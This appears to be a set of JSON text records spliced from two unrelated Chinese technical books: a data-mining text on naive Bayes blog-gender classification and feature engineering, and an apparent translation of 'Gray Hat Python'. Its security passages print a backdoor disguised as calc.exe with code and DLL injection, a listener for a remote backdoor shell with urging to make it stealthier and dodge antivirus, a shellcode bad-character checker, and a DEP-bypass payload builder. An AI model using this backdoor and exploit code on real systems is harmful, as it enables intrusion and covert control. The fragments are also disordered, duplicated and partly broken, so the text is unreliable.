    {"text": "数据将作为一致性映射（identity mapper）类型直接传入到规约函数中，而规约函数将会把每个单词在所有文章中出现频率按照性别汇集到一起，输出单词及频率字典。"},
    {"text": "def compare_words_reducer(self, word, values): per_gender = {} for value in values: gender, s = value per_gender[gender] = s yield word, per_gender 最后，添加以下代码，以便直接运行代码时，训练朴素贝叶斯模型。"},
    {"text": "if __name__ == '__main__': NaiveBayesTrainer.run() 运行上述代码，它的输入即是前面博客抽取代码的输出（实际上可以把它们作为前后相连的步骤，放到同一个MapReduce任务中）。"},
    {"text": "python nb_train.py <your_data_folder>/blogposts/ --output-dir=<your_data_folder>/models/ nooutput 上述代码运行结束后，该MapReduce任务的输出结果保存到位于输出文件夹中的一个文件里，输出结果为运行朴素贝叶斯分类器所需的概率信息。"},
    {"text": "如果输出文件多于一个，在命令行切换到模型文件夹下，使用下面命令把它们追加到model.txt后面。 cat * > model.txt 运行上述命令后，记得把下面用到的模型所在的文件名改为model.txt。"},
    {"text": "import os import re import numpy as np from collections import defaultdict from operator import itemgetter 重新定义用于查找单词的正则表达式——在实际应用中，不要忘记这点，注意训练和测试时应该使用相同的正则表达式来抽取单词。"},
    {"text": "model_filename = os.path.join(os.path.expanduser(\"~\"), \"models\", \"part-00000\") model = load_model(model_filename) 举例来说，我们可以像下面这样查看不同性别使用单词i（执行MapReduce任务时，所有单词中的字母全部转换为小写）的情况。"},
    {"text": "这个函数接收模型和一篇文档作为参数，返回对博主性别的预测结果，函数声明如下： def nb_predict(model, document): 先来创建一个字典，键值分别为每个性别及概率 9 。"},
    {"text": "words = word_search_re.findall(document) 遍历每一个单词，找出数据集中每个性别使用该单词的概率。 for word in set(words): probabilities[\"male\"] += np.log(model[word].get(\"male\", 1e-15)) probabilities[\"female\"] += np.log(model[word].get(\"female\", 1e-15)) 根据概率对性别进行排序，以概率最高的性别作为预测结果返回。 most_likely_genders = sorted(probabilities.items(), key=itemgetter(1), reverse=True) return most_likely_genders[0][0] 注意，我们使用 np.log 计算概率。"},
    {"text": "new_post = \"\"\" Every day should be a half day. Took the afternoon off to hit the dentist, and while I was out I managed to get my oil changed, too. Remember that business with my car dealership this winter? Well, consider this the epilogue. The friendly fellas at the Valvoline Instant Oil Change on Snelling were nice enough to notice that my dipstick was broken, and the metal piece was too far down in its little dipstick tube to pull out. Looks like I'm going to need a magnet. Damn you, Kline Nissan, daaaaaaammmnnn yooouuuu.... Today I let my boss know that I've submitted my Corps application. The news has been greeted by everyone in the company with a level of enthusiasm that really floors me. The back deck has finally been cleared off by the construction company working on the place. This company, for anyone who's interested, consists mainly of one guy who spends his days cursing at his crew of Spanish-speaking laborers. Construction of my deck began around the time Nixon was getting out of office. \"\"\" 用下面代码进行分类。"},
    {"text": "创建训练集文件夹。 mkdir blogs_train 然后，创建测试集文件夹。 mkdir blogs_test 把所有文件名以6或7打头的文档从训练集文件夹移动到测试文件夹。 cp blogs/6* blogs_train/ cp blogs/7* blogs_train/ 我们需要返回训练集中所有博客的抽取结果。"},
    {"text": "python extract_posts.py ~/Data/blogs_train --output-dir=/home/bob/ Data/blogposts –no-output python nb_train.py ~/Data/blogposts/ --output-dir=/home/bob/models/ nooutput 上述代码运行时间较长。"},
    {"text": "python extract_posts.py ~/Data/blogs_test --output-dir=/home/bob/Data/ blogposts_testing –no-output 回到笔记本文件，获取到输出的所有测试文档的路径。 testing_folder = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"blogposts_testing\") testing_filenames = [] for filename in os.listdir(testing_folder): testing_filenames.append(os.path.join(testing_folder, filename)) 对于上面输出的每一篇测试文档，我们抽取博主性别和博客内容，然后调用预测函数进行分类。"},
    {"text": "def nb_predict_many(model, input_filename): with open(input_filename) as inf: # remove leading and trailing whitespace for line in inf: tokens = line.split() actual_gender = eval(tokens[0]) blog_post = eval(\" \".join(tokens[1:])) yield actual_gender, nb_predict(model, blog_post) 然后我们记录测试集中所有数据的预测结果和实际性别。"},
    {"text": "y_true = [] y_pred = [] for actual_gender, predicted_gender in nb_predict_many(model, testing_ filenames[0]): y_true.append(actual_gender == \"female\") y_pred.append(predicted_gender == \"female\") y_true = np.array(y_true, dtype='int') y_pred = np.array(y_pred, dtype='int') 现在，我们使用 scikit-learn 中的F1值评估分类结果。"},
    {"text": "from sklearn.metrics import f1_score print(\"f1={:.4f}\".format(f1_score(y_true, y_pred, pos_label=None))) 结果为0.78，还算可以。"},
    {"text": "首先，需要在亚马逊的云存储（storage cloud）创建存储段（bucket）。 具体做法是用浏览器打开亚马逊S3控制界面 http://console.aws.amazon.com/s3 ，点击Create Bucket。"},
    {"text": "sudo pip2 install awscli 按照网址中给出的说明，为CLI工具设置安全证书： http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-set-up.html 。"},
    {"text": "cp -R ~/Data/blogs ~/Data/blogs_train_large rm ~/Data/blogs_train_large/6* rm ~/Data/blogs_train_large/7* 接着，上传数据到亚马逊S3存储段。"},
    {"text": "aws s3 cp ~/Data/blogs_train_large/ s3://ch12/blogs_train_large recursive -exclude \"*\" --include \"*.xml\" 接下来使用mrjob连接亚马逊EMR——它帮助我们处理所有任务；"},
    {"text": "python extract_posts.py -r emr s3://ch12gender/blogs_train_large/ outputdir=s3://ch12/blogposts_train/ --no-output python nb_train.py -r emr s3://ch12/blogposts_train/ --output-dir=s3:// ch12/model/ --o-output 这次使用当然也是要付费的，但只有几美元 10 而已。"},
    {"text": "如果你再次运行代码的话，记得把这两个文件夹改成别的名字，但是要记得同时修改两条命令中的文件名（第一条命令中的输出目录是第二条命令的输入目录）。"},
    {"text": "aws_model_filename = os.path.join(os.path.expanduser(\"~\"), \"models\", \"aws_model\") aws_model = load_model(aws_model_filename) y_true = [] y_pred = [] for actual_gender, predicted_gender in nb_predict_many(aws_model, testing_filenames[0]): y_true.append(actual_gender == \"female\") y_pred.append(predicted_gender == \"female\") y_true = np.array(y_true, dtype='int') y_pred = np.array(y_pred, dtype='int') print(\"f1={:.4f}\".format(f1_score(y_true, y_pred, pos_label=None))) 使用更多数据后，我们发现F1值为0.81，结果较之前有所改善。"},
    {"text": "创建好的规则离不开直觉，还需要专业领域知识和数据挖掘经验，光有这些还不够，还得不停地尝试、摸索，在试错中前进，有时多少还要靠点运气。"},
    {"text": "import os import pandas as pd data_folder = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"Adult\") adult_filename = os.path.join(data_folder, \"adult.data\") Using pandas as before, we load the file with read_csv: adult = pd.read_csv(adult_filename, header=None, names=[\"Age\", \"Work-Class\", \"fnlwgt\", \"Education\", \"Education-Num\", \"Marital-Status\", \"Occupation\", \"Relationship\", \"Race\", \"Sex\", \"Capital-gain\", \"Capital-loss\", \"Hours-per-week\", \"Native-Country\", \"Earnings-Raw\"]) 大部分代码在上一章都见过。"},
    {"text": "Index(['Age', 'Work-Class', 'fnlwgt', 'Education', 'Education-Num', 'Marital-Status', 'Occupation', 'Relationship', 'Race', 'Sex', 'Capital-gain', 'Capital-loss', 'Hours-per-week', 'Native-Country', 'Earnings-Raw'], dtype='object') 5.1.2 通用的特征创建模式 纵然有数不清的特征创建方法，但其中有一些是适用于不同学科的通用模式。"},
    {"text": "次级成分的频率，如一本书中某个单词的词频 次级成分的数量和（或）次级成分种类的数量 次级成分的平均大小，例如平均句长 序数特征可对其排序、分组。"},
    {"text": "count 32561.000000 mean 40.437456 std 12.347429 min 1.000000 25% 40.000000 50% 40.000000 75% 45.000000 max 99.000000 dtype: float64 这些统计方法对其他特征可能没有意义。"},
    {"text": "还有些特征，它们虽然不是数值，但仍然属于序数值，比如Adult数据集中的 Education （教育）特征，学士学位比高中毕业，在受教育程度上，要高一个层次，而高中毕业又比没有完成高中学业高一个层次。"},
    {"text": "对于上述球的种类，可以创建三个二值特征：“是网球”“是棒球”和“是足球”。 如果是网球的话，特征向量就是[1, 0, 0]，棒球[0, 1, 0]，足球[0, 0, 1]。"},
    {"text": "Adult数据集包含一些类别型特征，例如 Work-Class （工作），其中它的有些值可以进行量级上的比较，比如不同的就业状况影响收入（例如有工作的人比没有工作的人收入高）。"},
    {"text": "adult[\"Work-Class\"].unique() 输出结果如下： array([' State-gov', ' Self-emp-not-inc', ' Private', ' Federal-gov', ' Local-gov', ' ?', ' Self-emp-inc', ' Without-pay', ' Never-worked', nan], dtype=object) 数据集部分数据缺失，但不会影响这里的计算。"},
    {"text": "例如，有两个人，身高分别为1.69m和1.71m，这两个个子差不多的将被分到两个截然不同的类别里。 而身高仅为1.2m的将会被认为与身高1.69m的“差不多高”！"},
    {"text": "adult[\"LongHours\"] = adult[\"Hours-per-week\"] > 40 5.1.3 创建好的特征 建模过程中，需要对真实世界中的对象进行简化，这会导致信息的丢失，这也就是为什么没有一套能够用于任何数据集的通用的数据挖掘方法。"},
    {"text": "例如， 身高 这个特征描述的是一个人外表的某个方面，但是不能说明这个人学习成绩如何，所以预测学习成绩时，我们没必要去测量每个人的身高。"},
    {"text": "Unknown 第 9 章——作者归属问题 增加数据量 本章预测发件人的应用只使用了一部分邮件，数据集中还有很多邮件可以用。增加发件人的数量可能会导致正确率下降，但是使用相似的方法也有可能提升算法的表现。N元语法中的N以及参数到底取什么值，支持向量机能达到最佳效果，使用网格搜索就能解决这两个问题。我们争取在发件人数量很多的情况下，也能取得好的效果。 博客语料 第12章 博客语料给出了博主编号（每个编号代表一个博主），把博主编号看成是类别，就能将其用作本章实验语料。此外，性别、年龄、行业和星座都可以作为分类任务来进行预测——解决作者归属的方法擅长处理这些分类问题吗？ 局部N元语法 https://github.com/robertlayton/authorship_tutorials/blob/master/LNGTutorial.ipynb 另外一种分类器使用局部N元语法，从每个作者的作品而不是全部作者的作品中选择最佳特征。我写了一篇用局部N元语法解决作者归属问题的教程，请见上面链接。 Unknown 1.6 小结 本章介绍了如何用Python进行数据挖掘。如果你能运行这一部分的代码 7 （见代码包第1章的文件夹），说明开发环境已搭建好，后续章节的大部分代码都能运行了。当然有些Python库还没装，随用随装就好。 7 如果.ipynb文件在Notebook中打开时报错，请用JSON检查工具查找有无不合法的JSON字符，自行调整一下。——译者注 我们用IPython Notebook运行了代码，好处是能及时看到一小块代码的输出。它功能强大，后面会继续使用。 我们举了一个简单的亲和性分析的例子，用它找出顾客经常一起购买的商品。这种探索性的分析方法用处很大，能帮助人们发现商业流程、某个环境或场景中的潜在规律。亲和性分析可用在商业、医疗、人工智能等领域，说不定能这些领域带来突破。 本章还通过OneR算法介绍了分类的应用。该算法寻找最佳的特征值用于分类，该特征值在训练集中哪个类别中出现的次数最多，待预测数据就属于哪个类别。 后续章节会扩展分类和亲和性分析的概念，同时还会介绍 scikit-learn 库以及它实现的一些数据挖掘算法。 Unknown 第 8 章——用神经网络破解验证码 好（坏？）验证码 http://scikit-image.org/docs/dev/auto_examples/applications/plot_geometric.html 我们所破解的验证码比起如今网站常用的要简单不少。你可以使用以下技巧来提升破解难度： 采用不同的转换方法。比如 scikit-image 所提供的（请见上面链接） 使用不同的颜色；尝试无法很好转换为灰度模式的颜色 在图像中添加线条或其他形状： http://scikit-image.org/docs/dev/api/skimage.draw.html 深度网络 使用上述技巧产生的验证码会愚弄我们的破解工具，我们只好改进它。尝试使用第11章的深度网络。 网络越大，需要更多数据，因此你可能需要生成几千张验证码图像以达到好的效果。数据集的生成适合用并行方式来处理——因为它包含大量可以被分别处理的小任务。 增强学习 http://pybrain.org/docs/tutorial/reinforcement-learning.html 数据挖掘领域的下一个方向——增强学习势头日猛，虽然它的出现已经有一段时间了！PyBrain提供了几种增强学习算法，值得在刚创建的验证码数据集上一试（其他数据集也行！）。"},
    {"text": "序 1.3.5 定义结构和联合 结构和联合是非常重要的数据类型，被大量的适用于 WIN32 的 API 和 Linux 的 libc 中。 一个结构变量就是一组简单变量的集合 (所有变量都占用空间)些结构内的变量在类型上没 有限制，可以通过点加变量名来访问。比如 beer_recipe.amt_barley，就是访问 beer_recipe 结 构中的 amt_barley 变量。 序 10 Fuzzing Windows 驱动 对于 hacker 来说，攻击 Wi W ndows 驱动程序已经不再神秘。 从前，驱动程序常被远程溢出，而如今驱动漏洞越来越多的用于 本地提权。 在前面我们使用 Sulley 找出了 Wa W rFTPD 的溢出漏洞。 WarFTPD 在远程的机器上由一个受限的用户启动，我们在远程溢出它之后，就会获得一个 受限的权限，这个权限一般是很小的，如果似乎，很多信息都无法获取，很多服务都访问不 了。如果这时候我们拥有一个本地驱动的 exploit，那就能够将权限提升到系统级别，you are god now! 驱动在内核模式下运行，而我们的程序在用户模式下运行，为了在两种模式之间进行交 互，就要使用 IOCTLs（input/output controls ）。当 IOCTLs 处理代码有问题的时候，我们就 能利用它获取系统权限。 接下来，我们首先要介绍下如何通过实现 IOCTLs 来和本地的设备进行联系，并且尝试 使用 Immunity 变形 IOCTLs 数据。然后，学会使用 Immunity 提供的 driverlib 库获取驱动信 息，以及从一个编译好的驱动文件中解码出重要的控制流程，设备名，和 IOCTL 代码。最 后用从 drivelib 获得的数据构建测试数据，使用 ioctlizer（我写的一个驱动 fuzzer）进行一次 driver fuzz。 序 oor py # This library is from Chapter 3 and contains all # the necessary defines for process creation import sys from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) # This is the original executable path_to_exe = \"C:\\\\calc.exe\" startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() creation_flags = CREATE_NEW_CONSOLE startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 startupinfo.cb = sizeof(startupinfo) # First things first, fire up that second process # and store its PID so that we can do our injection kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) pid = process_information.dwProcessId 一样很简单，没有新代码。接下来让我们把注入的代码加到后门中。我们的注入函数能 够处理代码注入和 DLL 注入两种情况；parameter 标志设置为 1，data 变量包含 DLL 路径， 就能进行 DLL 注入，默认情况下 parameter 设置成 0，就是代码注入。跟黑的在后面。 #bac #b k ac door."},
    {"text": "序 on .py _______________________________________________________________________________ from ctypes import * class barley_amount(Union): _fields_ = [ (\"barley_long\", c_long), (\"barley_int\", c_int), (\"barley_char\", c_char * 8), ] value = raw_input(\"Enter the amount of barley to put into the beer vat: my_barley = barley_amount(int(value)) print \"Barley amount as a long: %ld\" % my_barley.barley_long print \"Barley amount as an int: %d\" % my_barley.barley_long print \"Barley amount as a char: %s\" % my_barley.barley_char _______________________________________________________________________________ 输出如下: _______________________________________________________________________________ C:\\Python25> python chapter1-unions.py Enter the amount of barley to put into the beer vat: 66 Barley amount as a long: 66 Barley amount as an int: 66 Barley amount as a char: B C:\\Python25> _______________________________________________________________________________ 给联合赋一个值就能得到三种不同的表现方式。"},
    {"text": "当我们很难得到源代码的时候，开发者，逆向工程师， Hacker 就会应用黑盒调试跟 踪目标程序。 黑盒调试中，被测试的软件对黑客来说是不透明的，唯一能看到的就是反汇编 代码。"},
    {"text": "智能调试体现在强大可扩展性上，常常通过脚本或者别的方式对调试器进行进一步的开发利 用，比如安装钩子函数，以及其他的专门为 Hacker 和逆向工程师专门定制的各种功能。"},
    {"text": "在这章，我们将把注意力集中在 x86 平台下的用户模式，通过对 CPU 体系结构，(堆) 栈以及调试器的底层操作细节的深入探究，理解调试器的工作原理，为实现我们自己的调试 器打下基础。"},
    {"text": "前面我们说了，函数的返回值也是存储在 EAX 寄存器里。 这一点很重要，因为通过返 回的 EAX 里的值我们可以判断函数是执行成功与否，或者得到确切返回值。"},
    {"text": "这个寄存器从本质上来说是 EAX 寄存器的延伸， 它辅助 EAX 完成更多复杂的计算操作像乘法和除法。 它虽然也能当作通用寄存器使用，不 过更多的是结合 EAX 寄存器进行计算操作。"},
    {"text": "ECX 寄存器，也叫做计数寄存器，用于循环操作，比如重复的字符存储操作，或 者数字统计。 有一点很重要，ECX 寄存器的计算是向下而不是向上的（简单理解就是用于 循环操作时是由大减到小的）。"},
    {"text": "看一下下面的 Python 片段： _______________________________________________________________________________ counter = 0 while counter < 10: print \"Loop number: %d\" % counter counter += 1 _______________________________________________________________________________ 如果你把这代码转化成汇编代码，你会看到第一轮的时候 ECX 将等于 10，第二轮 的时候等于 9，如此反复知道 ECX 减少到 0。"},
    {"text": "序 11.2 IDAPython 函数 IDAPython 能够访问所有的 IDC 函数， 我们只介绍一些会马上用到，为之后的 IDAPython 脚本编写做基础。IDC 总共有 100 多个函数，有兴趣的可以研究研究。 11.2.1 常用函数 以下的函数都是在编写脚本的时候经常用到的。 ScreenEA() 获取 IDA 调试窗口中，光标指向代码的地址。通过这个函数，我们就能够从一个已知 的点运行我们的脚本。 序 FTP 101 FTP 是一个简单轻便的文件传输协议，被广泛的使用于各种环境中，从 Web 服务器到 网络打印机。FTP 服务器默认在端口 21 上监听客户端发送的命令。现在我们要冒充成 FTP 客户端，向服务器发送变形过的命令数据，尝试获得服务器的权限。如果你顺利完成 了 WarFTPD 的 fuzzer， 别忘了用它去寻找新的倒霉蛋。 一个 FTP 服务器既可以设置成不需要密码的匿名访问或者是需要密码的认证访问。因 为 WarFTPD 的漏洞出在 USER 和 PASS 命令上，所以我们就假定服务区使用认证访问。FTP 认证命令的格式如下: USER <USERNAME> PASS <PASSWORD> 一旦客户端传入了有效的用户名和密码后，服务器就会赋予客户端，传输文件，改变目 录，查询文件等各种权限。当然 USER 和 PASS 命令只是 FTP 服务器提供的功能中的一个 子集，在认证成功后还有很多别的功能，如表 9-2。这些新的命令都要加入到我们程序的协 议框架(protocol skeleton)中。FTP 协议详细的命令，请看 rfc959。 CWD <DIRECTORY> - change working directory to DIRECTORY DELE <FILENAME> - delete a remote file FILENAME MDTM <FILENAME> - return last modified time for file FILENAME MKD <DIRECTORY> - create directory DIRECTORY 序 9.1 安装 Sulley 在 我 们 深 入 探 索 Sulley 之 前 ， 先 得 找 一 头 ， 栓 起 来 。 大 家 可 以 从 http://www.nostarch.com/ghpython.htm 下载 zip 打包的 Sulley 源代码。 （我估计是眼花，愣是 没找到，http://sulley.googlecode.com 此地有货）。 下载完成后，解压 Sulley，在目录下找到 sulley，utils 和 requests 文件夹，然后复制到 C:\\Python25\\Lib\\site-packages\\目录下。这些就是 Sulley 的核心。接下来 安装其他依赖的文件。 第一个 WinPcap，一款开源的轻便简洁的网络库，用于 windows 平台下的包捕捉。有搞 过嗅探的同学，对这东西应该是非常熟悉了，建议搞渗透的都去看看它的手册，大饼级别的 黑客利器。Winpcap 被广泛的应用与各种网络工具，入侵检测系统。Sulley 使用它捕捉网络 数据。下载地址：http://www.winpcap.org/install/bin/WinPcap_4_0_2.exe。 接下来安装两个 python 库：pcapy 和 impacket,，和上面的 WinPcap 库配合。它们都由 CORE Security 提供。Pcapy 是 WinPcap 的 Python 接口，impacket 则负责包的解码和创建。 pcap 的下载地址 http://oss.coresecurity.com/repo/pcapy-0.10.5.win32-py2.5.exe. mpacket 的下载地址 http://oss.coresecurity.com/repo/Impacket-stable.zip。下载完后解压到 C:\\ directory,进入目录执行以下命令： C:\\Impacket-stable\\Impacket-0.9.6.0>C:\\Python25\\python.exe setup.py install 一切就绪，主角登场！ 9.2 序 W ndows _______________________________________________________________________________ from ctypes import * msvcrt = cdll.msvcrt message_string = \"Hello world!\\n\" msvcrt.printf(\"Testing: %s\", message_string) _______________________________________________________________________________ 输出结果见如下： _______________________________________________________________________________ C:\\Python25> python chapter1-printf.py Testing: Hello world! C:\\Python25> _______________________________________________________________________________ Linux 下会有略微不同： chapter1-printf.py Code on Linux _______________________________________________________________________________ from ctypes import * libc = CDLL(\"libc.so.6\") message_string = \"Hello world!\\n\" libc.printf(\"Testing: %s\", message_string) _______________________________________________________________________________ 输出结果如下: _______________________________________________________________________________ # python /root/chapter1-printf.py Testing: Hello world! # _______________________________________________________________________________ 可以看到 ctypes 调用动态链接库中的函数有多简单。"},
    {"text": "序 7.2.2 编写后门 让我们构建我们的重定向代码，只要简单的启动指定名字的程序就行了。之所以叫执行 重定向，是因为我们将后门的名字命名为 calc.exe 了还将原来的 calc.exe 移动到了别的地方。 当用户测试执行计算器的时候，就会不经意的执行了我们的后门，后门程序通过重定向代码， 启动真正的计算器。用户会看不到任何邪恶的东西，依旧正常的使用计算器。下面的脚本引 用了第三章的 my_debugger_defines.py，其中包含了创建进程所需要的结构和常量。 #back ac door. 序 In C _______________________________________________________________________________ union { long barley_long; int barley_int; char barley_char[8]; }barley_amount; _______________________________________________________________________________ 序 oor hell.py import socket import sys host = \"192.168.244.1\" port = 4444 server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) server.bind( ( host, port ) ) server.listen( 5 ) print \"[*] Server bound to %s:%d\" % ( host , port ) backdoor_shell.py import socket import sys host = \"192.168.244.1\" port = 4444 server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) server.bind( ( host, port ) ) server.listen( 5 ) print \"[*] Server bound to %s:%d\" % ( host , port ) 这是一个非常就当的 socket 服务器，仅仅是接受一个连接，然后处理一些基础的读写工 作。你可以修改 host 和 port 为自己需要的参数（比如 53， 80 ）。先运行服务器进行端口 监听，然后在远程的系统(本机也行)上运行 cacl.exe。你会看到弹出了计算器的窗口，同时 你的 Python shell 服务器也会接收到一个连接，开始读取数据。为了打断 recv 循环，请按下 CTRL-C 键，然后程序提示你输入命令。这时候就能做很多事情了，比如使用 WIndows shell 内建的命令，比如 dir，cd ，type。每个命令的输出结果都能够传输回来。现在你拥有了一 个高效的后门。用你的想象力扩展它，让它更猥琐，让它能逃过更多的杀毒的软件，更隐蔽。 我们的目标就是没有最坏，只有更坏。用 Python 的好处就是，快速，简单，可重用。 当你看完这章，你已经学会了 DLL 和代码注入这两种非常有用的技术。在今后的渗透 测试或者逆向工程中，你会发现花在这些技能上的精力是值得的。接下来我们会变得更黑， 我们要开始学习如何破坏程序。用 Python，用 Python-based fuzzer，用所有伟大的开源工具。 序 _____________________________________________________________________ 栈框架的结构将如图 2-1。 图 2-1: my_socks() 函数调用的栈结构 如你所见，这是一个非常简单的数据结构，同时也是所有程序中函数调用的基础。当 my_sock()函数返回的时候，它会弹出栈里所有的参数（返回地址弹到 EIP） ，然后跳到返回 地址(Return address)指向的地方（父函数的代码段）继续执行。另一个需要考虑的概念就是 本地函数。把我们的 my_socks()函数扩展一点，让我们假定函数被调用后做的第一件事就是 申请一个字符串数组，将参数 color_one 复制到数组里。代码应该像这样： ____________________________________________________________________ int my_socks(color_one, color_) { char stinky_sock_color_on[10]; ... } 函数将在棧里申请 stinky_sock_color_on 变量的空间，以便在栈里调用（当然会随着函 数的执行完毕而释放，不过在函数内部访问时，效率会高很多）。申请成功以后，堆栈的结 构将像图 2-2 看到的这样。 Figure 2-2: 在 stinky_sock_color_one 申请后的栈框架 现在你到了本地函数是如何在棧里申请的以及栈指针是如何不断的增长指向栈顶 的。调试器对堆栈结构的捕捉能力是相当有用的，特别是在我们捕捉程序崩溃，跟踪调查基 于栈的缓冲区溢出的时候。"},
    {"text": "举个例子，如果我们从一个 strcpy()调用中发现了缓冲区溢出，我们的利用代码就不能包含 NULL 字 符(0x00).因 为 strcpy() 一 遇到 NULL 字 符就会停止拷贝数据。"},
    {"text": "一般情况下，如果你获得了 EIP 的控制权限，然后 shellcode 抛出访问为例或者 crash 目 标，接着完成自己的伟大使命（反弹后门，转到另一个进程继续破坏，别的你能想得到的脏 活累活）。"},
    {"text": "我们将 shellcode 进行简单的 ASCII 编码，然后一个字节一个 字节的比较内存中的 shellcode 和我们发送 shellcode 有无差别，如果有一个字符不一样，说 明它没有通过软件的过滤。"},
    {"text": "#badchar.py from immlib import * def main(args): imm = Debugger() bad_char_found = False # First argument is the address to begin our search address = int(args[0],16) # Shellcode to verify shellcode = \"<<COPY AND PASTE YOUR SHELLCODE HERE>>\" shellcode_length = len(shellcode) debug_shellcode = imm.readMemory( address, shellcode_length ) debug_shellcode = debug_shellcode.encode(\"HEX\") imm.log(\"Address: 0x%08x\" % address) imm.log(\"Shellcode Length : %d\" % length) imm.log(\"Attack Shellcode: %s\" % canvas_shellcode[:512]) imm.log(\"In Memory Shellcode: %s\" % id_shellcode[:512]) # Begin a byte-by-byte comparison of the two shellcode buffers count = 0 while count <= shellcode_length: if debug_shellcode[count] != shellcode[count]: imm.log(\"Bad Char Detected at offset %d\" % count) bad_char_found = True break count += 1 if bad_char_found: imm.log(\"[*****] \") imm.log(\"Bad character found: %s\" % debug_shellcode[count]) imm.log(\"Bad character original: %s\" % shellcode[count]) imm.log(\"[*****] \") return \"[*] !badchar finished, check Log window.\" 在这个脚本中，我们只是从 Immunity 库中调用了 readMemory()函数。"},
    {"text": "现在你需要将你的 shellcode 做 ASCII 编码(如果你有字节 0xEB 0x09， 编码后后你的字符串将看着像 EB09），将代码贴入脚本，并且如下运行： !badchar <Address to Begin Search> 在 我 们 前 面 的 例 子 中 ， 我 们 将 从 ESP+0x4 地 址 (0x00AEFD4C) 寻 找 ， 所 以 要 在 PyCommand 执行如下命令: !badchar 0x00AEFD4c 我们的脚本在发现危险字符串的时候将立刻发出警戒，由此大大减少花在调试 shellcode 崩溃时间。"},
    {"text": "NTSTATUS NtSetInformationProcess( IN HANDLE hProcessHandle, IN PROCESS_INFORMATION_CLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); 为了使进程的 DEP 保护失效，需要将 NtSetInformationProcess()的 ProcessInformationClass 函数设置成 ProcessExecuteFlags (0x22)，将 ProcessInformation 参数 设置 MEM_EXECUTE_OPTION_ENABLE (0x2)。"},
    {"text": "问题是在 shellcode 中调用这个函数将会出 现 NULL 字符。 解决的方法是找到一个正常调用了 NtSetInformationProcess()的函数，再将 我们的 shellcode 拷贝到这个函数里。"},
    {"text": "7C91D3F8 . 3C 01 CMP AL,1 7C91D3FA . 6A 02 PUSH 2 7C91D3FC . 5E POP ESI 7C91D3FD . 0F84 B72A0200 JE ntdll.7C93FEBA ... 7C93FEBA > 8975 FC MOV DWORD PTR SS:[EBP-4],ESI 7C93FEBD .^E9 41D5FDFF JMP ntdll.7C91D403 ... 7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0 7C91D407 . 0F85 60890100 JNZ ntdll.7C935D6D ... 7C935D6D > 6A 04 PUSH 4 7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 7C935D72 . 50 PUSH EAX 7C935D73 . 6A 22 PUSH 22 7C935D75 . 6A FF PUSH -1 7C935D77 . E8 B188FDFF CALL ntdll.ZwSetInformationProcess 上面的代码就是调用 NtSetInformationProces 的必要过程。"},
    {"text": "从这里开始变得有趣，4 被第一个压入栈，EBP-4（始终是 2!）被加载进 EAX， 然后压入栈，接着 0x22 被压入，最后-1 被压入（-1 表示禁止当前进程的 DEP）。"},
    {"text": "#findantidep.py import immlib import immutils def tAddr(addr): buf = immutils.int2str32_swapped(addr) return \"\\\\x%02x\\\\x%02x\\\\x%02x\\\\x%02x\" % ( ord(buf[0]) , ord(buf[1]), ord(buf[2]), ord(buf[3]) ) DESC=\"\"\"Find address to bypass software DEP\"\"\" def main(args): imm=immlib.Debugger() addylist = [] mod = imm.getModule(\"ntdll.dll\") if not mod: return \"Error: Ntdll.dll not found!\" # Finding the First ADDRESS ret = imm.searchCommands(\"MOV AL,1\\nRET\") if not ret: return \"Error: Sorry, the first addy cannot be found\" for a in ret: addylist.append( \"0x%08x: %s\" % (a[0], a[2]) ) ret = imm.comboBox(\"Please, choose the First Address [sets AL to 1]\", addylist) firstaddy = int(ret[0:10], 16) imm.Log(\"First Address: 0x%08x\" % firstaddy, address = firstaddy) # Finding the Second ADDRESS ret = imm.searchCommandsOnModule( mod.getBase(), \"CMP AL,0x1\\n PUSH 0x2\\n POP ESI\\n\" ) if not ret: return \"Error: Sorry, the second addy cannot be found\" secondaddy = ret[0][0] imm.Log( \"Second Address %x\" % secondaddy , address= secondaddy ) # Finding the Third ADDRESS ret = imm.inputBox(\"Insert the Asm code to search for\") ret = imm.searchCommands(ret) if not ret: return \"Error: Sorry, the third address cannot be found\" addylist = [] for a in ret: addylist.append( \"0x%08x: %s\" % (a[0], a[2]) ) ret = imm.comboBox(\"Please, choose the Third return Address [jumps to shellcode]\", addylist) thirdaddy = int(ret[0:10], 16) imm.Log( \"Third Address: 0x%08x\" % thirdaddy, thirdaddy ) imm.Log( 'stack = \"%s\\\\xff\\\\xff\\\\xff\\\\xff%s\\\\xff\\\\xff\\\\xff\\\\xff\" + \"A\" * 0x54 + \"%s\" + shellcode ' %\\ ( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) ) ) 首先寻找指令\"MOV AL,1\\nRET\",然后在地址列表中选择一个。"},
    {"text": "Figure 5-4: 第一步，选择一个地址，并设置 AL 为 1 Figure 5-5:输入需要搜索的指令 Figure 5-6: 选择一个返回地址 最后看到的输出 i 结果如下: stack = \"\\x75\\x24\\x01\\x01\\xff\\xff\\xff\\xff\\x56\\x31\\x91\\x7c\\xff\\xff\\xff\\xff\" + \"A\" * 0x54 + \"\\x75\\x24\\x01\\x01\" + shellcode 将生成的代码和你的 shellcdoe 组合之后，你就能将 exploit 移植到具有反 DEP 的系统。"},
    {"text": "序 on .py _______________________________________________________________________________ from ctypes import * class barley_amount(Union): _fields_ = [ (\"barley_long\", c_long), (\"barley_int\", c_int), (\"barley_char\", c_char * 8), ] value = raw_input(\"Enter the amount of barley to put into the beer vat: my_barley = barley_amount(int(value)) print \"Barley amount as a long: %ld\" % my_barley.barley_long print \"Barley amount as an int: %d\" % my_barley.barley_long print \"Barley amount as a char: %s\" % my_barley.barley_char _______________________________________________________________________________ 输出如下: _______________________________________________________________________________ C:\\Python25> python chapter1-unions.py Enter the amount of barley to put into 